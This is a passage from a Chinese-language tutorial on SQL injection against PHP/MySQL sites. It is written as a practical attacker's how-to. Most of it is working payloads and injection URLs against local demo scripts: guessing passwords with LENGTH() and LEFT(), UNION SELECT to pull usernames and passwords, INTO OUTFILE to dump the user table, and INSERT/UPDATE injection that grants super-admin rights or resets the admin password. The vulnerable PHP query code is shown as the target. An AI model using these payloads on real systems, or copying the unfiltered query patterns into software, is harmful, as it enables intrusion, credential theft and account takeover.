二、查询字段
查询字段又可以分成两种,本表查询和跨表查询,这两种查询和ACCESS、MSSQL差不多,甚至更强大、更灵活、更方便。不知道为什么就是有人认为比ASP难?我们在ASP中经常使用的个别函数在PHP里要有小小的改动,如下:
① 本表查询
看下面一条SQL语句,多用在论坛或者会员注册系统查看用户资料的,
<?php mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); $sql = "SELECT * FROM user WHERE username='$username'"; if (!$row) { echo "你要查询的用户ID是:$row[userid]\n"; |
当我们提交的用户名为真时,就会正常返回用户的ID,如果为非法参数就会提示相应的错误,由于是查询用户资料,我们可以大胆猜测密码就存在这个数据表里(现在我还没有碰见过密码是单独存在另一个表的程序),记得刚才的身份验证程序吗?和现在的相比,就少了一个AND条件,如下:
SELECT * FROM user WHERE username='$username' AND password='$password'SELECT * FROM user WHERE username='$username' |
相同的就是当条件为真时,就会给出正确的提示信息,如果我们构造出后面的AND条件部分,并使这部分为真,那我们的目的也就达到了,还是利用刚才建立的user数据库,用户名为angel,密码为mypass,
看了上面的例子,应该知道构造了吧,如果我们提交:
http://127.0.0.1/injection/user.php?username=angel' and password='mypass |
这个是绝对为真的,因为我们这样提交上面的SQL语句变成了下面的样子:
SELECT * FROM user WHERE username='angel' AND password='mypass' |
但在实际的攻击中,我们是肯定不知道密码的,假设我们知道数据库的各个字段,下面我们就开始探测密码了,首先获取密码长度:
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6 |
在ACCESS中,用LEN()函数来获取字符串长度,在MYSQL中,要使用LENGTH(),只要没有构造错误,也就是说SQL语句能正常执行,那返回结果无外乎两种,不是返回用户ID,就是返回“该记录不存在”。当用户名为angel并且密码长度为6的时候返回真,就会返回相关记录,是不是和ASP里一样?再用LEFT()、RIGHT()、MID()函数猜密码:
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m |
看,密码不是出来了吗?简单吧?当然实际情况会有不少条件限制,下面还会讲到这个例子的深入应用。
② 跨表查询
这部分就和ASP有点出入了,除了一定要用UNION连接两条SQL语句,最难掌握的就是字段的数量,如果看过MYSQL参考手册,就知道了在 SELECT 中的 select_expression (select_expression 表示你希望检索的列[字段]) 部分列出的列必须具有同样的类型。第一个 SELECT 查询中使用的列名将作为结果集的列名返回。简单的说,也就是UNION后面查选的字段数量、字段类型都应该与前面的SELECT一样,而且,如果前面的SELECT为真,就同时返回两个SELECT的结果,当前面的SELECT为假,就会返回第二个SELECT所得的结果,某些情况会替换掉在第一个SELECT原来应该显示的字段,如下图:
看了这个图直观多了吧?所以应该先知道前面查询表的数据表的结构。如果我们查询两个数据表的字段相同,类型也相同,我们就可以这样提交:
SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM…… |
如果字段数量、字段类型任意一个不相同,就只能搞清除数据类型和字段数量,这样提交:
SELECT * FROM article WHERE articleid='$id' UNION SELECT 1,1,1,1,1,1,1 FROM…… |
否则就会报错:
The used SELECT statements have a different number of columns |
如果不知道数据类型和字段数量,可以用1来慢慢试,因为1属于int\str\var类型,所以我们只要慢慢改变数量,一定可以猜到的。如果不能马上理解上面的理论,后面有很详细的例子。
我们看看下面的数据结构,是一个简单的文章数据表。
CREATE TABLE `article` ( # INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!'); |
这个表的字段类型分别是int、varchar、text,如果我们用UNION联合查询的时候,后面的查询的表的结构和这个一样。就可以用“SELECT *”,如果有任何一个不一样,那我们只能用“SELECT 1,1,1,1……”了。
下面的文件是一个很标准、简单的显示文章的文件,很多站点都是这种页面没有过滤,所以成为最明显的注入点,下面就拿这个文件作为例子,开始我们的注入实验。
<?php mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); $sql = "SELECT * FROM article WHERE articleid='$id'"; if (!$row) echo "title<br>".$row[title]."<p>\n"; |
正常情况下,我们提交这样的一个请求:
http://127.0.0.1/injection/show.php?id=1 |
就会显示articleid为1的文章,但我们不需要文章,我们需要的是用户的敏感信息,就要查询user表,现在是查询刚才我们建立的user表。
由于$id没有过滤给我们制造了这个机会,我们要把show.php文件中的SQL语句改写成类似这个样子:
SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM user …… |
由于这个代码是有单引号包含着变量的,我们现在提交:
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/* |
按道理说,应该显示用户表的username、password两个字段的内容才对啊,怎么正常显示文章呢?如图:
其实,我们提交的articleid=1是article表里存在的,执行结果就是真了,自然返回前面SELECT的结果,当我们提交空的值或者提交一个不存在的值,就会蹦出我们想要的东西:
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/* |
如图:
现在就在字段相对应的地方显示出我们所要的内容。如果还不清楚思路以及具体的应用,后面还会讲到一些高级的技巧。
三、导出文件
这个是比较容易构造但又有一定限制的技术,我们经常可以看见以下的SQL语句:
select * from table into outfile 'c:/file.txt' |
但这样的语句,一般很少用在程序里,有谁会把自己的数据导出呢?除非是备份,但我也没有见过这种备份法。所以我们要自己构造,但必须有下面的前提条件:
我们继续用上面的user.php和show.php两个文件举例,如果一个一个用户猜解实在是太慢了,如果对方的密码或者其他敏感信息很复杂,又不会写Exploit,要猜到什么时候啊?来点大范围的,直接导出全部数据好了。user.php文件的查询语句,我们按照into outfile的标准格式,注入成下面的语句就能导出我们需要的信息了:
SELECT * FROM user WHERE username='$username' into outfile 'c:/file.txt' |
知道怎么样的语句可以实现我们的目的,我们就很容易构造出相应的语句:
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt |
出现了错误提示,但从返回的语句看来,我们的SQL语句确实是注入正确了,即使出现错误,也是查询的问题了,文件还是乖乖的被导出了,如图:
由于代码本身就有WHERE来指定一个条件,所以我们导出的数据仅仅是满足这个条件的数据,如果我们想导出全部呢?其实很简单,只要使这个WHERE条件为假,并且指定一个成真的条件,就可以不用被束缚在WHERE里了,来看看经典1=1发挥作用了:
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt |
实际的SQL语句变为:
SELECT * FROM user WHERE username='' or 1=1 into outfile 'c:/file.txt' |
这样username的参数是空的,就是假了,1=1永远是真的,那or前面的WHERE就不起作用了,但千万别用and哦,否则是不能导出全部数据的。
既然条件满足,在这种情况下就直接导出所有数据!如图:
但是跨表的导出文件的语句该怎么构造呢?还是用到UNION联合查询,所以一切前提条件都应该和UNION、导出数据一样,跨表导出数据正常情况下应该相下面的一样:
SELECT * FROM article WHERE articleid='1' union select 1,username,password from user into outfile 'c:/user.txt' |
这样可以导出文件了,如果我们要构造就提交:
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user into outfile 'c:/user.txt |
文件是出来了,可是有一个问题,由于前面的查询articleid='1'为真了,所以导出的数据也有整个文章的一部分,如图:
所以我们把应该使前面的查询语句为假,才能只导出后面查询的内容,只要提交:
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt |
这样才能得到我们想要的资料:
值得注意的是想要导出文件,必须magic_quotes_gpc没有打开,并且程序也没有用到addslashes()函数,还有不能对单引号做任何过滤,因为我们在提交导出路径的时候,一定要用引号包含起来,否则,系统不会认识那是一个路径,也不用尝试用char()或者什么函数,那是徒劳。
INSERT
如果大家认为MYSQL中注入仅仅适用于SELECT就大错特错了,其实还有两个危害更大的操作,那就是INSERT和UPDATE语句,这类例子不多,先面先说说INSERT,这主要应用于改写插入的数据,我们来看个简单而又广泛存在的例子,看看下面的数据结构:
CREATE TABLE `user` ( |
其中的userlevel代表用户的等级,1是普通用户,2是普通管理员,3是超级管理员,一个注册程序默认是注册成普通用户,如下:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1'); |
默认userlevel字段是插入1,其中的变量都是没有经过过滤就直接写入数据库的,不知道大家有什么想法?对,就是直接注入,使我们一注册就是超级管理员。我们注册的时候,构造$homepage变量,就可以达到改写的目的,指定$homepage变量为:
http://4ngel.net', '3’)# |
插入数据库的时候就变成:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3’)#', '1'); |
这样就注册成为超级管理员了。但这种利用方法也有一定的局限性,比如,我没有需要改写的变量如userlevel字段是数据库的第一个字段,前面没有地方给我们注入,我们也没有办法了。
或许INSERT还有更广泛的应用,大家可以自行研究,但原理都是一样的。
UPDATE
和INSERT相比,UPDATE的应用更加广泛,如果过滤不够,足以改写任何数据,还是拿刚才的注册程序来说,数据结构也不变,我们看一下用户自己修改自己的资料,SQL语句一般都是这样写的:
UPDATE user SET password='$password', homepage='$homepage' WHERE id='$id' |
用户可以修改自己的密码和主页,大家有什么想法?总不至于还是提升权限吧?程序中的SQL语句又没有更新userlevel字段,怎么提升啊?还是老办法,构造$homepage变量, 指定$homepage变量为:
http://4ngel.net', userlevel='3 |
整个SQL语句就变成这样:
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id' |
我们是不是又变成超级管理员了?程序不更新userlevel字段,我们自己来。
还有更加绝的,直接修改任意用户的资料,还是刚才的例句,但这次安全一点,使用MD5加密:
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id' |
尽管密码被加密了,但我们还是可以构造我们需要的语句,我们指定$password为:
mypass)' WHERE username='admin'# |
这时整个语句变为:
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id' |
这样就更改了更新的条件,我管你后面的代码是不是在哭这说:我们还没有执行啊。当然,也可以从$id下手,指定$id为:
' OR username='admin' |
这时整个语句变为:
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin' |
照样也可以达到修改的目的,所以说注入是非常灵活的技术。如果有些变量是从数据库读取的固定值,甚至用$_SESSION['username']来读取服务器上的SESSION信息时,我们就可以在原来的WHERE之前自己构造WHERE并注释掉后面的代码,由此可见,灵活运用注释也是注入的技巧之一。这些技巧把注入发挥得淋漓尽致。不得不说是一种艺术。
变量的提交方式可以是GET或POST,提交的位置可以是地址栏、表单、隐藏表单变量或修改本地COOKIE信息等,提交的方式可以是本地提交,服务器上提交或者是工具提交,多种多样就看你如何运用了。